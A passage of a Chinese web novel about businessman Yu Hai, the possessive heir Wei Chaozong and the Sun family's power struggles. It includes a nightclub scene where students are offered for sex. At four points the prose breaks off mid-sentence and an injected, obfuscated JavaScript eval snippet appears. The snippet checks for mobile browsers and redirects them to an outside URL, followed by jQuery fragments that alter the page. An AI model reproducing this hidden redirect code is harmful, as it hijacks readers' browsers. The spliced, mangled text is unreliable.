五年前周维不远万里亲自接魏朝宗回家,直到现在仍然没有结婚生子,并且大张旗鼓的为魏朝宗继承周家铺路。
周维这位舅舅大约对魏朝宗有几分真心。
而对外甥存在疼爱之心的周维亲眼看见他选定的继承人跪在陌生的男人门外,哭着哀求了一夜。
换位思考,如果他是周维,于海至少要让这个人从魏朝宗的世界里消失。
如果他是魏朝宗,他会让这个人从世上消失。
于海能不心存忌惮吗?他去周家和上赶着送死有什么区别?
“周维知道那事,能对我有什么好印象?”
魏朝宗烦的要死:“你管他干什么。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022242|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
费心思去顾虑一个老男人的感受,却对他置若罔闻。
“周维不敢动你。”魏朝宗脸色更加阴沉,“你不信我能护住你?”
于海不说话。
他不是不信魏朝宗不能护住他,魏朝宗姓魏,背后不仅有周家,还有权势更盛的魏家。
关键是,魏朝宗凭为什么要护他?丫要是个以德报怨的圣母就算了,他勉强信几分。事实是,丫明明是个以眼还眼以牙还牙、十倍百倍报复仇怨的狠人。
“你还是不信我。”魏朝宗低头自嘲的一笑,他深呼吸调整跌落谷底的心情,取出一封请柬放在桌子上——周家宴会的邀请函。
“放心,周维不会动你。”魏朝宗以极为平淡的语气说,“周维和孙家有仇,照样没动孙家。”
于海对这些豪门恩怨不熟悉,仅他所知的信息,孙家不敢和周家结仇吧。
“什么仇?”
魏朝宗轻描淡写道出了石破天惊的秘密:“和周维不能生育有关。”
镇定如于海也被这消息震惊的瞪大眼睛,满脸不可思议。
太假了,假到正常人编不出来。
而实际上,越是匪夷所思,越可能是真相。
于海沉默片刻,叹道:“周先生真是心胸宽广啊。”
听到于海的赞叹,魏朝宗下意识皱眉。
于海想到他在青奚,周维也在青奚。
如果周维想惩治他,易如反掌。
但这么些年,周维始终不曾对他动手,可见其胸襟不同于寻常人。
“晚宴我会去的。”于海勾唇,“魏少还有别的事吗?”
魏朝宗定定凝视着微笑的人片刻,起身离开了。
刘江暗戳戳东张西望好一会,确定没人之后才捂着胸口走进来:“小魏……魏少怎么变成活阎罗了?”
于海戏谑:“你还怕他?从前不是指着鼻子骂的挺起劲?”
“好汉不提当年勇。”刘江摆摆手,“再说五年前能和现在一样吗?”
那时候的魏朝宗虽然脾气差,但只要于海发话,他再不情愿最终也会照做,比于海养的那只阿拉斯加还听话。
这小子独占欲强烈到离谱。
他惹怒对方的点,包括但不限于,坐了于海的床铺,勾搭于海的肩膀,用了于海的洗发水。
他就不明白了!用个洗发水怎么了?养条狗也没护食成这样的。
然后他就遭遇每次洗完澡衣服就消失的“灵异”事件。
赤裸裸的报复行为!
刘江气的破口大骂“兔崽子”,紧接着向于海告状:“捡回来一白眼狼。”
小魏目露凶光,手指攥的咯吱咯吱响,但于海在场,他就仿佛被施了定身符,一动也不动。
现在的魏少不再挥舞拳头,但是从精神上摧残敌人的杀伤力比以前恐怖千万倍。
“他一个问题接着一个问题,问得我心脏扑通扑通的。”刘江陷入深深地困惑,“你说他到底是对你余情未了,还是余恨未消啊?”
“听着都不是什么好事。”
这要是换个大美女余情未了,刘江指不定就要说于海矫情了。
但对方是十九岁就展现出变态占有欲的魏朝宗,刘江不由得对自家兄弟抱以同情。
15. 第 15 章
王敬的第二个电话,在周五的凌晨一点打了过来。
“于先生,你可以过来了。”
于海简单打理了一下,拿着车钥匙出门。
他住的地儿是城南的一片别墅区,安保严格,各家各户独立互不干涉,私密性很好。
但于海这几天总感觉有双眼睛在暗处盯着自己,回头去看,什么人也没有。
于海将车开出自家大门,凌晨一点,隔壁的院落灯火通明。
于海瞥了一眼,三楼的窗帘映出一个修长的身影。
前天下班回家,遇见隔壁一帮人正在往里运送新家具,没想到新邻居这么快就住了进来。
于海心想:这下他妈又有了新的社交对象了。
小区门口的保安室亮着灯,窗户也敞开着,汽车行驶到大门,于海放慢速度,和保安室的人打了个照面。
“这么晚还没睡?”
男人坐在窗边看书,一头青皮面容冷峻,闻言抬了抬眼皮:“你不也没睡。”
“出门应酬。”于海笑了笑,“没办法,客户就是上帝。”
男人淡淡的点点头。
大门打开,两人没再多做交流,于海开车离开。
随着车子开出别墅区,被人窥探的感觉越来越强烈。
于海不动声色的打开车窗放慢行进速度,从后视镜观察周围动静,夜色深沉仅有斑驳树影婆娑,似乎被跟踪窥视只是他的错觉。
暂时压下心中的疑惑,他提速赶往目的地。
孙孝廷定的地点是东郊一家夜总会。
地处偏僻,却富丽堂皇,隔很远就能瞧见闪烁的霓虹灯影。
于海长腿一迈下了车。
体型微胖中年男人站在门前四处张望,视线定格在他身上,眼睛一亮,迟疑的问道:“您是于总?”
“您是?”
“这里的主管,您叫我小吴就成。二少等候您多时了。”
于海心思一转,微笑道:“吴经理,怎么烦劳你在门口等着,我自个过去就行。”
“二少吩咐了,您是尊贵的客人,必须得让您感受到宾至如归。”吴继用笑眯眯的做了个手势,“请。”
于海嘴角抽了抽:谢谢了,他并不想在成人夜总会这种地方找回家的感觉。
吴继用带着他坐电梯直上顶楼,然后敲门进入了一个房间。
开门的是一位衣着古板严肃的男人。
不像到酒吧来玩的,倒像是过来参加会议的。
包间内的圆形沙发上坐着一个人——相貌阴柔,眼尾狭长锋利,手中端着高脚杯翘着二郎腿慢饮,身边一左一右跪坐着两位成熟美艳的女人正在给他揉肩。
正是孙家老二,孙孝廷。
于海不了解孙家兄弟的真实关系如何,但这两兄弟的喜好倒是挺相似的。
“于总贵人事忙,白天不便打扰,深夜相邀没有影响于总休息吧?”
语调懒洋洋的,没有丝毫歉疚的意思。
于海摇头轻笑:“二少约见我是我的荣幸。”
“坐。”孙孝廷挑眉笑了笑,拍了拍按在他肩膀上的手指,“去,给于总满上。”
女人赤脚踩在地板上,扭着腰斟了一杯酒,笑盈盈的贴到他身上:“于总,请。”
于海微微侧身不着痕迹的避开了柔软的身体,接过酒杯一饮而尽。
女人接着又给酒杯续满,指尖轻抬笑盈盈的看着他。
于海连饮三杯,眉头不带皱一下的。
孙孝廷击掌笑道:“于总果然是个爽快人。”
于海八风不动的微笑:“美酒、美人当前,我不能辜负二少的美意。”
“知情知趣,怪不得我大哥喜欢你。”
孙孝廷口吻自然的像是在说今天的天气。
“孙少说笑了。”于海不动声色,“谁不知道孙大少恨不得将我扒皮拆骨。”
“都是些看不清楚真相的蠢人。”
“真相就是,孙大少怒火之下,我的小本买卖快要崩盘了。”
孙孝廷不接话,抬眼叫了声:“王助理。”
身穿全黑正装的古板男人迅速清场,让其他人都出去,从公文包里取出一个单薄的密封纸袋放在于海面前,然后退到门边继续当个站桩。
孙孝廷抬了抬下巴:“打开看看。”
于海看了对方一眼,撕开密封条,里面装着三张照片。
每张照片的右下角都标注着拍摄时间。
去年四月二号,施工场地的角落,发丝汗湿凌乱的于海将孙震元抱在怀里,眼对眼鼻对鼻,下一秒就要亲上去。
去年八月六号,酒吧昏暗的卡座,孙震元搂着于海的脖子,侧身亲他的耳朵。
今年二月十一号,漫天飘雪的滑雪场,两人倒在雪地上抱成一团,孙震元的一只脚勾在于海的腰上,姿势极为暧昧。
抓拍的照片画面的确令人浮想联翩,但现实情况和它毫不相干。
实际上……
去年四月,两人去施工场地巡查,突生高空坠物的意外,于海情急之下抱着孙震元闪躲。重物落地的巨响让两人出了一身冷汗,对视之间四只眼睛中俱是惊悸和庆幸。
去年八月,两人合作的其中一个项目接近尾声,他们约在渡口喝酒庆祝,舞台中央一支年轻的乐队正在激情四射的表演,摇滚乐声压过了人声,说话需靠的很近才听得清。吧台附近起了点冲突,孙震元坐到他身边勾住他的脖子八卦。
今年二月,那天是大年初二,孙震元带着大包小包的礼物敲响了他家的门,十分有礼貌对他妈做自我介绍说新年贺词,明明是本地人,非让他做地陪,第一个去的娱乐场所就是滑雪场,然而孙震元在滑雪上是个纯粹的菜鸡,摔倒几十次后撂挑子不干,还要拉着他玩摔跤。
于海觉得挺搞笑的,哪位人才拍的,娱乐追踪狗仔队里都能挑大梁了。
表面却流露出隐忍的抗拒神色,以不可置信的嫌恶语气说:“太可笑了,我和孙大少都是男人。”
孙孝廷闻言挑了挑眉,不置可否:“外界传言,你和我大哥闹翻的起因,不也是为了一个男人吗?”
于海:“几张模糊角度的照片罢了,二少给我看这些想告诉我什么?二少又是从哪里拿到的照片?”
“来源并不重要,重要的是这些照片老爷子看过。”
“孙董?”
“老爷子是个老古板,看到后大发雷霆。不论真假,他认为是真的,假的也是真。”
“孙董英明睿智,我相信他不是不辨是非的人。”
“当然。”孙孝廷唇角微勾,“老爷子第一时间找来我大哥。你猜我大哥怎么回答的?”
还能怎么回答?
爹是老古板,孙震元为了保住继承人的位置也要极力澄清吧。
不过孙孝廷微妙的表情,让于海生出不妙的预感。
“他说,照片是有心人为了陷害他偷拍的。但是……”孙孝廷意味深长的停顿了几息,“他喜欢的人的确是个男人,甚至愿意为了对方放弃家业。”
于海眉心跳了跳。
既然孙伯辉了解内情,未必不知道孙震元对他出手打压的事情,看来通过孙孝廷向孙伯辉进言,从而遏制孙震元的所作所为,这条路十有八九行不通了。
“二少,你到底想说什么?即便孙大少喜欢男人,也和我无关。孙大少看我不顺眼的事情不是秘密,随意施展的手段压得我喘不过气。坦白讲,我主动找二少的原因,也是想请二少帮忙从中斡旋,请孙大少高抬贵手。”
“如你所说,老爷子英明睿智,不会被假象蒙蔽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022243|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。流言说孙家老大爱上了酒吧的小歌手,并且为了他和你翻脸。”孙孝廷拿起照片,笑道,“我不信,老爷子洞若观火更不会信。”
于海呼吸急促了一瞬,他已经听明白了对方的言下之意。
“老爷子对我大哥寄予厚望,他不允许任何威胁到盛玺未来的阻碍存在。如果有……那就铲除。”
果然。
“对于百川的处境,我很遗憾。但是我大哥从未做过对你不利的事,你误解他了。”
是否误解孙震元重要吗?无论是谁出手,百川身陷困境是事实。他要做的不是挖掘真相,而是带领公司突破眼前的困境。
“我大哥一直在极力阻止,甚至不惜和老爷子对抗。”
于海:他说盛玺攻击的势头怎么越来越猛烈,原来是孙震元这个坑人的货添柴加火啊。
“二少,这其中是有些误会。如果方便的话,我可以向孙董解释清楚。”
孙孝廷笑了下,笑声中透露出一丝轻蔑:“想必于总已经尝试过不少途径联系老爷子。”
于海的确找了各种人脉,但全部无功而返,得到的回答永远是,孙董事忙,无暇见面。
“既然我爸这条路走不通,于总不妨试试其他的路。”
于海:“二少的意思是?”
“前段时间,老爷子将我哥关了起来,收掉了所有的通讯工具,下令一直关到他改了性子,同意商业联姻。”
于海:什么狗屁封建大家庭?
“我大哥一天不低头,这事就不会有转圜的余地。我想来想去,能让我大哥改变主意的也只有你了。如果你有什么想对他说的,我可以代为传话。救我大哥,就是救你自己。”
孙孝廷一副为亲哥忧虑的样子,外人看了都要道一句感天动地的兄弟情。
“我知道了。”于海撩起眼皮。
孙孝廷:?
“不劳二少费心。”于海看了眼手表,“感谢二少为我解惑。时间不早了,如果二少没有别的事情,我就先回去了。”
孙震元身体前倾:“你没什么想对我大哥说的吗?”
于海笑着摇摇头。
真当他是任人摆弄的棋子啊,在他面前卖弄兄弟情?不就是想利用他刺激孙震元吗。
兄弟阋墙的事他管不着,更懒得理。
孙孝廷细致观察对方的神色,却看不出任何东西。
除了初始的吃惊,他的表情始终淡淡的,如同一团摸不透的浓雾。
“难得相聚,别急着回家啊。”孙孝廷放松靠在沙发上,玩味地说,“私事谈完了,接下来该进入正题了。”
正题?于海不记得和这位孙二少有什么商务上的交集。
孙孝廷散漫的笑着,打了个响指。
王敬收起桌子上的照片重新放入公文包,然后按动了呼叫器。
门被打开,八个各有特色的俊男美女鱼贯而入,一字排开站在他们面前。
“长夜漫漫,没有佳人相伴岂不可惜。”孙孝廷笑道,“于总再三否认和我大哥的关系,我相信你,可是老爷子不信,现在正是你证明的机会。”
于海现在可以确定,孙孝廷没憋什么好屁。
孙震元因为宁望的出现大动肝火,失去理智和他拳脚相向,放狠话要让宁望混不下去。
如果孙震元知道了今晚的事,不知道又会做出什么出格的事。
孙孝廷一副万事都在掌控中的得瑟样看得于海拳头痒痒。
不过,孙孝廷的话不是全无道理。
对他施压的是孙伯辉,而孙伯辉忧虑的是他和孙震元的关系,向孙伯辉证明这是凭空捏造的谣言,或者借此彻底绝了孙震元放在他身上的心思,从问题的根源解决问题。
至于孙震元发不发疯,和他有什么关系呢?
16. 第 16 章
服务生一字排开。
或可爱、或明媚、或冷艳……
最边上缀着一个满目惊慌失措的清秀男生,彷佛误入陷阱的小动物。
华昕和姐姐华妍一起签下那份合同的时候,他就明白早晚这一刻会到来。
即使他不断地催眠自己,当包房的门打开,他站在明亮的走廊望着昏暗的房间,即将被黑洞吞噬的恐惧感瞬间湮没了他。
姐姐担心的偷偷看他,安抚性的握了下他的手腕。
华昕想扯出个笑容让姐姐放心,却怎么也笑不出来,他的脚止步在门口难以挪动。
背上传来粗暴的推力,华昕跌跌撞撞的闯入靡丽昏暗的空间里。
或许因为恐惧,华昕短暂的模糊了视觉和听觉。
终于适应了昏暗,感受到细碎的光亮,华昕垂着头,视线中出现一双泛着淡淡光泽的皮鞋。
高大的阴影慢慢压过来,仿若巨大的野兽吞噬了他周身仅存的的微光,华昕下意识绷紧了身体,无法克制的轻微颤抖着。
覆盖在他身上的阴影悄然褪去,已走到他近前的男人无声无息的后退半步。
“多大了?”
华昕来到这里半月,老板培训他们接客的规矩。
培训的过程中他见识了从前不曾见过的各色人。他们和他说话,命令的、威胁的、挑逗的、不屑的……也有温柔的。
然而,温柔的口吻和欺骗性的皮囊之下,遮掩着更污秽的欲念。
眼前的人声音并不温柔,如无风的湖面平静淡然无波无澜,却也通透干净。
华昕鼓足勇气抬头,却见眼前的男人并没有看他。
他的视线散漫的落在墙壁上投射的影子上。
男人抬手摸了摸腕表,墙上手指的投影由长变短,然后缩成一团,似乎与他说话,还不如玩自己的影子有趣。
压在心口的沉重恐惧不知不觉消解些许,华昕回答对方的问题,呼吸中仍带着些紧张:“二十。”
“学生?”
平淡的口吻,不含任何质问,却让华昕生出慌张,苍白的脸因为羞愧染上薄红,张张嘴说不出话。
“是。”旁边的女生颤抖着声音,她担忧地看了眼男生,小心翼翼地回答,“我们是学生,他是我弟弟。”
“哪个学校的?”
“Q大。”
“我记得你们学校有门禁?”
耳朵传来模糊的笑声,华昕飞快抬眼,看见那张漂亮的淡色薄唇轻轻启合,心中一跳。
“是。”
于海没有再多问其他问题,侧身看向沙发上坐着的人:“他们两个吧。我想要一对,不知二少肯不肯割爱。”
孙孝廷愣了楞,缓缓勾唇:“当然,于总全都要了,我也拱手奉上。”
孙孝廷:“吴继用。”
领他上楼的微胖中年人点头哈腰的等待吩咐,狗腿子的模样比起电视剧里得总管太监也不遑多让。
“房间安排好了吗?”
“放心吧孙少,最好的套间给孙总留着哪。”吴继用在“最好的”上加重了语气,九曲十八弯的音调配合上油腻的脸,十分猥琐。
于海笑了笑,等进了SVIP的套房,才明白吴继用所谓的“最好”指的是琳琅满目的各式各样的情趣用具。
其中不乏极端玩法的物品,尽可满足某些特殊爱好人群的需求。
而被选中的姐弟俩看到陈列在房间各处的“刑具”,双双白了脸。
“于总好眼光,他们是双胞胎,我们这儿新来的,第一次接客。”吴继用警告性的看了那对姐弟一眼,笑眯眯的对于海说,“祝于总有个美好的夜晚。”
门阖上,令人厌烦的聒噪声终于消失。
于海脸上的笑容淡去,扫了眼面无血色的姐弟俩,单手扯松领口,随意道:“你们找地方休息,我洗个澡。”
热水冲刷下的那一刻,于海长吐一口气,骂了句草。
孙家这帮狗东西,争权夺利勾心斗角,拿他当工具耍着玩。
尤其孙孝廷这个死变态,变着法利用他。
如果他猜的没错,今天晚上在那个包间,他说的每句话、做的每个动作,都被录了下来,而那几张照片十有八九也是孙孝廷找人偷拍的。
于海冲完澡,手习惯性伸向浴巾,想到外面还有个女生,于是叩动玻璃门:“外面的那个男生,帮我拿一套浴袍。”
“嘭、嘭”
他的话音刚落,外面似乎接连有东西被撞倒,一阵兵荒马乱的动静之后安静了一瞬,接着是窸窸窣窣翻找的声音。
玻璃门被轻轻巧了两下,于海开了条缝隙接过睡袍,只见方才面无血色的人脸红的像个发高烧的病人。
于海莫名其妙:冲热水澡的是他,这家伙怎么搞的跟洗桑拿似的。
等他走到床边,回头不经意瞥了眼浴室的玻璃,瞬间明白了。
浴室热气未散,水雾蒸腾附着在玻璃上,所有的东西一览无遗。
没什么奇怪的,满室特殊用品彰显了这是间情趣套房的事实。
情趣房有这样的浴室确实没什么奇怪的。
尽管于海进行了短暂的自我催眠,当余光看见坐在床沿的女生那张相似的通红面孔,饶是他自认为脸皮够厚,也不由得感到了几丝尴尬。
他刚才专门叫人拿浴袍的举动和掩耳盗铃差不多。
于海坐在床上的一刹那,安静坐着的女生应激性的站起身。
华妍咬着下唇,起身缓缓走到于海身前,颤动着手指试图去拉浴袍的带子。
“别动。”
平淡如水的两个字。
华妍僵硬的停住了动作,勉强的扯出笑容。
于海指了指角落的沙发:“坐那,我不叫你们不要过来打扰我。”
见两人在指定位置坐下了,于海关灯、躺平、睡觉。
一气呵成。
大概是喝了酒的缘故,于海这一觉睡得很沉。
窗帘的遮光性极佳,醒来时已经将近七点,房间内仍是昏暗的。
沙发上的两人蜷缩着睡得正香。
于海翻出钱夹,签了张支票放在沙发旁的茶几上。
沙发上的男生不知何时醒了,睁着红彤彤的眼睛怯怯的看着他。
于海竖起食指,比了个嘘声的手势,没有多做解释。
昨天的衣服沾染了酒气,于海扫了眼散落在地上的脏衣服,决定暂时裹着睡袍回车里换备用的新衣服。他所在的位置距离电梯不远,电梯直通地下停车场,想必路上碰不上什么人。
打开门的一瞬间,于海嗅到一股不同寻常的气息。
尚未来得及探究,门口的纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022244|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袋映入眼帘。
夜店的服务相当周到,竟然贴心的送来了换洗衣物。
于海拎起袋子回到房间,意外的发现衣服的尺码正合他的身材。
暗想孙二少干特助没少获取经验,服务意识挺超前。
于海再次开门,左右打量空荡荡的走廊,诡异的感觉又重新冒出来。
如果室内是安静,室外简直可以说死寂。
仿若末日降临,热闹喧嚣的世界骤然空无一人。
令人毛骨悚然的寂静。
于海愣住,他都怀疑自己穿越到平行时空了。
就算晚上营业,白天这也安静的太过分了吧。
于海一头雾水的往外走,路过拐角时,突然感到劲风袭来,下意识一个肘击,胳膊压制住对方的脖子,将人摁在墙壁上。
“唔。”对方痛苦的闷哼一声,英挺的眉紧皱着。
“魏朝宗。”于海松开手,惊讶的问,“你在这干什么?”
来夜店不找乐子,蹲在这犄角旮旯的地方,怎么看怎么像一场有预谋的守株待兔。
“来看你救风尘。”魏朝宗咳嗽着,嘶哑的声音像砂纸磨过桌面,一字一字都像从喉咙深处挤出来的。
于海拧眉:“能不能好好说话。”
整天阴阳怪气的,听着就烦。
“你有什么资格……”命令我。
于海一点不想听他废话,转身就走。
“于海!”破音的急促呼喊回荡在空旷的走廊。
于海回身又将人一把摁了回去,捂住了对方的嘴:魏朝宗大早上的在夜店走廊点名似的喊他,是嫌他的事不够广为人知是吧。
“你到底想干什么?”于海盯着对方泛着红血丝的双眸,耐心即将告罄,“能不能消停点?行就眨眨眼。”
温热有力的手掌覆盖住他的半张脸,粗糙的纹理让魏朝宗控制不住的全身颤栗,抖动的长睫颤巍巍的落下。
于海缓缓松开手,警惕的观察对方的动作。
魏朝宗仍然垂着眼,冷峻的面孔苍白如纸,蠕动着干裂的嘴唇,声音低沉嘶哑:“你和他们做了吗?”
“关你屁事。”
说完,于海察觉到不对。
他们?
魏朝宗明确知道他带走了不止一个人。
用脚趾头想也明白,魏朝宗肯定调查了他。
联想到夜店变坟场的诡异,不出意外这也是魏朝宗的手笔。
行啊,有钱有势了就是不一样。
“现在这里我说了算。我管不了你,但我能掌控他们。”
于海简直气笑了,果然不愧是太子爷啊,一夕之间就能让孙孝廷——这个他费心耗神虚与委蛇、为之忌惮的人,手下的产业改朝换代,把所有人玩在股掌之间。
于海沉声道:“如果我做了呢?”
魏朝宗轻描淡写:“我会让他们全部消失。”
于海心中的火焰腾地蹿出来,手掌猛地掐住对方的脖子,咬牙切齿道:“魏朝宗,你不要太过分。”
魏朝宗抬眼,看到于海生气时鼻梁那颗小痔轻微的颤动,心脏剧烈的抽搐了下,尖锐的痛感彷佛一把锋利的刀,划破层层铠甲露出鲜血淋漓的内里。
魏朝宗通红的眼底泛出水光,嘴唇开合着没有发出声音。
——于海。
17. 第 17 章
于海怔住,手上的力道不由得泄下来。
自从魏朝宗来到青奚,总是阴魂不散。
叙旧也好,报复也好,能不能给个准话。
前脚和他在大街上互怼,气得跳脚,后脚亲自去给他送请帖,一副对往事不追究的模样。
现在又在门口堵他,恶狠狠的表情恨不得将他生吃了。明明是个霸王性子,他不过说了几句话而已,对方却彷佛受到了沉重的打击。
川剧变脸都比不上魏大少的变脸速度。
若是五年前,两人关系尚可,出于对朋友的关心,于海可能会建议魏朝宗找个懂行的来瞧瞧:别被什么邪祟附体了。
就这反复无常仿佛精神分裂的表现,别真的折腾到精神出问题。
现在,两人没什么交情,于海选择敬而远之:惹不起我还躲不起吗。
于海转身要走,袖子被扯住——力道不大,轻松便能挣开。
“走也行。”身后人瓮声瓮气,声音含糊不清,“给个联系方式呗。”
于海没理他,扯出袖子撇下人走了。
魏朝宗凝望着毫不留情远去的背影,和五年前一样,那人自始至终不会回头。
工作性质的原因,于海晚归或夜不归宿的事时常发生。
不过大半夜出门,为了不让他妈担心,于海提前给老妈发了信息交待行程。
早上依然收到了老妈关心的消息。
于海叫了代驾,靠在车后座的皮椅上回复信息。
老妈:【起床了吗?有没有吃早饭?】
于海:【半小时后到家,还没来得及吃】
老妈:【快到家了给妈说,我给你下碗馄饨】
于海发了个【爱心】的表情包。
回复完他妈,于海接着处理公事。
蒋锐估计是见他反常的没去上班,发来问候,询问今天的行程安排是否要调整。
原定计划,九点他要参加一场学术会议。
于海:【行程不变,我从家直接过去。】
于海一一回复完工作上的事,才点开鲜明的好友添加提示。
朋友申请1,头像是一辆红黑色的帕加尼跑车,申请理由【点心好吃吗】。
于海略过,跳到第二个,头像是张开的手掌迎向阳光,申请理由【我是李崇明】
于海点了通过,很快收到回复。
李崇明:【于海?我是李崇明】
于海:【李少你好】
李崇明:【叫我名字吧。听韩涛说我们两家公司离得近,昨天我来公司上班,才知道我们只隔了一条街,所以和韩涛要了你的联系方式,你不介意吧】
于海:【当然不会】
李崇明:【我三年没有回国,国内变化日新月异,公司附近的环境都有些陌生了。你有时间能为我介绍介绍吗?】
于海挺想说没空,碍于韩涛这层关系在,不好他的驳面子于是回道:【荣幸之至】
两人对话简短的结束了。
于海阖眼复盘凌晨和孙孝廷的交流,回忆孙震元说过的话。
孙震元曾说,羡慕于海简单的家庭关系,反观他家里兄弟姐妹一大堆,没一个省心的,心眼一个赛一个多,都盼着哪天他出事取而代之。老头子隔三岔五警告他不进则退,不要辜负他妈对他的期望,从他出生那一刻起就规划好了要走的每一步路。
【老子根本不稀罕当什么狗屁继承人!】
于海发信息给刘江:【联系盛玺的邹秘书,麻烦他找机会向孙伯辉透漏孙孝廷约见我的事,就说二少找我谈合作,合作内容牵涉很深,我难以抉择,希望孙董能当面指教】
刘江:【好】
刘江的回复来得很快【孙伯辉的态度还是老样子。】
不出所料。
于海冷笑,他一直陷入了误区。
原来以为对付他的人是孙震元,所以于海想通过孙家真正的掌权人孙伯辉来压制孙震元。
后来在孙孝廷的引导下,知道打压他的真正幕后人是孙伯辉,孙伯辉误会两人之间存在感情纠葛,试图通过极端手段来分裂他和孙震元。所以于海选择顺势而为,借着孙孝廷的安排,表明他和孙震元绝无私情。
无论是哪种情况,追本溯源在于他和孙震元的关系。
但是,于海忽然发现,他高看了自己,错误的预估了孙伯辉对他的定位。
他在孙伯辉眼中,只是一枚试炼孙震元的棋子。
他是谁孙伯辉从不在意,他的公司落到何种境地孙伯辉更不会关心,孙伯辉想要的,是通过这一番警示,让孙震元——他的长子按照他规划的既定方向走下去,成为一名合格的继承人。
敲山震虎、杀鸡儆猴,于海喜欢或不喜欢孙震元都影响不了孙伯辉的决断。
孙伯辉当然不必听他的解释,也不想浪费宝贵的时间。
于海目光沉沉,孙家这一池浑水还是太过平静,是时候该掀出些巨浪让孙伯辉清醒清醒。
于海没有和孙家鱼死网破的打算,一个孙家还不值得他牺牲多年拼搏来的基业。
汽车驶入别墅区,站岗的邢国胜朝着他的方向走了过来。
于海示意代驾司机停车,按下车窗和邢国胜打招呼。
“早上你大伯家里人过来了。”邢国胜面无表情的叙述发生过的事情,像在做工作报告般机械,“你妈让他们进门了,我没有拦着,现在他们已经离开了。”
于海打开扶手箱,递过去一盒烟:“又麻烦你了,邢哥。”
于安平家里人过来肯定不止一个,哪是他妈单打独斗能对付得了的,肯定少不了邢国胜的帮忙。
邢国胜接过烟,目光淡淡的看着于海:“等一等。”
邢国胜转身进了保安室,不一会儿手中拿着本书走出来,从车窗递进去:“看完了还给你。烟我收了,下次还是送我书吧。”
于海手指抚过封皮上写的[二拍]两个烫金大字:“你都还给我了,我这送也没送出去。”
“有借有还。”
“下本你想看什么?”
“你看过的。”
于海问过同样的问题,不出所料得到的是一字不差的相同答案。
为什么要他看过的书也不用再问,想必答案也是一样的,邢国胜那时的回答是,看过了代表你有这本书,省去购买的麻烦。
敢情把他当做图书馆了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022245|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
两人的相识过程无甚波澜,某天于海在小区门口等刘江,而邢国胜身穿制服目不斜视一声不吭的站岗。
于海见对方嘴唇干裂脸上汗珠滚落,随手递过去一瓶水。
邢国胜淡淡说了声谢谢。
两人没有多余的交流。
后来,小区某位业主喝了酒,因为道闸反应不灵敏,发酒疯辱骂保安室的人员,于海恰好路过,下车解了围。
邢国胜仍是面无表情道谢,只不过目光停留在于海身上的时间长了些。
再后面,于安平找到他们的落脚点,三番四次的过来骚扰,邢国胜沉默寡言,但每次都尽可能的采取行动帮忙。
而邢国胜要的回报,不过是从他这儿借几本书而已。
于海自然不会拒绝对方。
“好,下次给你带过来。”于海微微一笑。
汽车继续开进别墅区。
“汪呜。”别墅门外刚有动静,萨摩耶就叫了一声,欢快的从跑向院子里。
于海迈步入内,接住奔跑而来的萨摩耶,撸了一把柔顺的白毛。
“乐乐,是不是阿海回来了?”江雪梅关熄火,从厨房走出来。
萨摩耶听懂了她的话,汪汪的回应着。
江雪梅弯腰搂着大狗的脑袋揉搓:“乐乐真聪明,第一个发现哥哥回家。”
门外放了把大扫帚,客厅的桌子上还摆着把菜刀,于海已经知道于安他们一家过来了,瞬间明白这些家伙事是对付谁的。
明知故问道:“怎么又是菜刀,又是扫帚的,小偷来了,还是强盗来了?”
“和强盗也没差别,于安平媳妇带着她儿媳妇,还有她小孙子,来上门添堵了。”江雪梅嘲笑,“这次居然还知道求人要带礼,带了两提纯奶过来,让我给扔出去了。你猜猜他们是为了什么?”
于海假装思考,然后笑着摇头:“猜不出来。”
“想给她儿媳妇在你公司找个钱多事少的工作。”江雪梅翻了个白眼,“就是想躺平等你发工资,直接要钱的路行不通,开始打别的主意了。做下那些事还敢过来提要求,没见过这么厚脸皮的。”
想到于安平一家子,江雪梅就一肚子火气。
于安平是于海的亲大伯,村里有名的懒蛋,游手好闲混吃混喝,于海父亲在世时,他就经常过来腆着脸借钱,有借无还。
当初于海父亲意外身故,他们家得了一笔赔偿金。
